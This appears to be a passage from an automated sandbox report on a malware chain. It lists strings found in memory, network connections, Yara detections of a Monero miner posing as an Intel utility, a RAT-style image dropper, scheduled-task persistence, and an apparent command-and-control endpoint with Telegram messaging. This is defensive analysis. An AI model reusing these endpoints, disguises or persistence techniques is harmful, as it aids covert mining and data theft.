Source: 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605040503.000001FED92BB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605342438.000001FED92A1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605438280.000001FED92CD000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604623251.000001FED92BA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604805622.000001FED92A0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/
Source: 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603779683.000001FED92AB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604675756.000001FED92B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js1BACCDE8yst
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js59A495B9
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.jsF22BD0CDest
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 0516ff61af.exe, 00000007.00000003.2503330264.0000000005E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 0516ff61af.exe, 00000007.00000003.2525468845.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2503330264.0000000005E73000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2503512455.0000000005E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 0516ff61af.exe, 00000007.00000003.2503512455.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 0516ff61af.exe, 00000007.00000003.2525468845.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2503330264.0000000005E73000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2503512455.0000000005E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 0516ff61af.exe, 00000007.00000003.2503512455.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: ed15fdf974.exe, 0000002F.00000002.2988356074.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: ed15fdf974.exe, 0000002F.00000002.2988356074.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: ed15fdf974.exe, 0000002F.00000002.2988356074.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api6
Source: ed15fdf974.exe, 0000002F.00000002.2988356074.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: 0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 0516ff61af.exe, 00000007.00000003.2478796488.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2478761331.0000000001425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learni
Source: 0516ff61af.exe, 00000007.00000003.2478796488.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2479349840.000000000140C000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2479498664.0000000001422000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605438280.000001FED92CD000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/0
Source: 6eea3e30e9.exe, 0000000C.00000003.2591931438.000002479E961000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592025523.000002479E968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/8
Source: 6eea3e30e9.exe, 0000000D.00000003.2605342438.000001FED92A1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604805622.000001FED92A0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/X
Source: 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605292956.000001FED92DE000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/aomek
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/com/
Source: 0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604374375.000001FED92B9000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605040503.000001FED92BB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604623251.000001FED92BA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/le.com
Source: 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: 6eea3e30e9.exe, 0000000D.00000003.2604374375.000001FED92B9000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605040503.000001FED92BB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604415171.000001FED92AA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92C0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603779683.000001FED92AB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604675756.000001FED92B0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604623251.000001FED92BA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E949000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604332884.000001FED92A4000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604415171.000001FED92AA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603779683.000001FED92AB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604675756.000001FED92B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly4C47B199334
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly4EEE6F7Foog
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly56D1DC42
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlyCF630DF4nte
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore2233E
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstoreDttp
Source: 6eea3e30e9.exe, 0000000D.00000003.2605040503.000001FED92BB000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92C0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604623251.000001FED92BA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstoreO
Source: 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra23EE992EDate
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra66F3ACB03BD00
Source: 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox0875E9
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox7FnstD
Source: 6eea3e30e9.exe, 0000000C.00000003.2592025523.000002479E968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandboxd
Source: 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604374375.000001FED92B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandboxw
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 0516ff61af.exe, 00000007.00000003.2549916371.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9297000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49861 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 40.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 40.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, type: DROPPED	Matched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\output[1].png, type: DROPPED	Matched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen
Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, type: DROPPED	Matched rule: Detects images embedding archives. Observed in TheRat RAT. Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.15.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 0516ff61af.exe.6.dr	Static PE information: section name:
Source: 0516ff61af.exe.6.dr	Static PE information: section name: .idata
Source: 0516ff61af.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 1b73492cb0.exe.6.dr	Static PE information: section name:
Source: 1b73492cb0.exe.6.dr	Static PE information: section name: .idata
Source: 1b73492cb0.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0037CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0037CB97

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	File created: C:\Windows\Tasks\Gxtuum.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

File deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE78BB	0_2_00DE78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE7049	0_2_00DE7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE8860	0_2_00DE8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE31A8	0_2_00DE31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA4B30	0_2_00DA4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA4DE0	0_2_00DA4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE2D10	0_2_00DE2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE779B	0_2_00DE779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD7F36	0_2_00DD7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003A8860	1_2_003A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003A7049	1_2_003A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003A78BB	1_2_003A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003A31A8	1_2_003A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00364B30	1_2_00364B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003A2D10	1_2_003A2D10
